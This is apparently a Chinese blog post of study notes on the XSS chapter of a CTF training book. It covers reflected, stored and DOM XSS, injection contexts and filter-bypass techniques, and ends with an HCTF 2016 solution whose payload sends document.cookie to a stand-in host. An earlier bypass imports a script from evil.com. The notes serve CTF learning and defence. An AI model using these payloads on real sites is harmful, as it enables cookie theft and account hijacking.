前言

继续阅读《CTF特训营》web部分
本节是XSS

1、简介

XSS是一种代码注入漏洞
在网页中注入恶意代码
被攻击者在加载网页时受到攻击

反射型XSS

代码作为客户端输入提交给服务端
在相应内容里返回并由浏览器执行

例子

<?php echo 'your input'.$_GET['input'];?>

攻击者

http://xxx.com/xss.php?input=<script>alert(/xss/)</script>

浏览器会执行alert(/xss/)

存储型XSS

代码会存储在服务端

  • 留言板
  • 聊天室
  • 邮件

DOM XSS

不需要服务端解析
出发XSS的是DOM解析

例子

<html>
<head>
	<title>DOM</title>
	<meta charset="utf-8">
</head>
<body>
	<div id="area"></div>
	<script>
		document.getElementByld("area").innerHTML=unescape(location.hash);
</body>
</html>	

客户端的JavaScript代码将location.hash动态的赋予document.getElementByld(“area”).innerHTML

攻击者

http://xxx.com/dom.html#<img src=x οnerrοr='alert(/xss/)'>

输出在html标签

例子

<input name="user" value="{{your input}}"/>

攻击者

" οnclick="alert(/xss/)

输出在css代码中

例子

<style type="text/css">
body{
	color:{{your input}};
}
</style>

攻击者

#000;background-image:url('javascript:alert(/xss/)')

输出在JavaScript代码中

例子

<script>
	var name='{{your input}}';
</script>

攻击者

'+alert(/xss/)+'

2、防护与绕过

特定标签过滤

任何一种标签都可以构造xss代码
可参考:http://html5sec.org/

事件过滤

测试时可用burp进行fuzz
遍历可利用的事件

关键词过滤

一些可用方法

  • 字符串拼接
  • base64编码
  • 不同进制编码
  • url编码

一个好用的编码工具XSSEE

.(){空格}的过滤,绕过方案依次如下

with(document)alert(cookie);
window.onerror=alert;throw 1;
%0a

字符集编码导致的绕过

字符集编码存在问题时会导致一些绕过

  • utf-7
  • US-ASCII
  • 宽字节
  • 特殊字符,可参考:http://10.cm/encodings/

长度限制

有长度限制时,善用

  • window.name
  • location
  • 第三方库

httponly绕过

  • apache2.2.0-2.2.21有个漏洞CVE-2012-0053
    可以植入超大cookie使得http头超过最大请求长度4192字节
    返回400错误,包含httponly保护的cookie

  • phpinfo页面有cookie

XSS auditor绕过

日语字符集绕过

<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1)/>

对https协议的错误理解绕过

http://xxx.com/xss.php?input=1><link%20rel="import"%20href=https:evil.com/1.php

3、危害与利用技巧

  • 窃取cookie,伪造用户身份
  • 与DOM对象交互,执行用户所有可执行操作
  • 获取源码
  • 发起http请求
  • 获取地理位置
  • 使用webRTC API获取网络信息
  • 对内网扫描并攻击

4、实例

HCTF 2016中的题目guestbook
过滤代码

CSP规则(开启了unsafe-inline)

需要做到的事

  • 绕过过滤:复写即可
  • 绕过CSP

payload

<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape(document.cookie);</scrscriptipt>

结语

了解了XSS相关知识和绕过方式

一个可以拿来参考和学习的平台:BeEF

本文地址:https://blog.csdn.net/weixin_44604541/article/details/107605890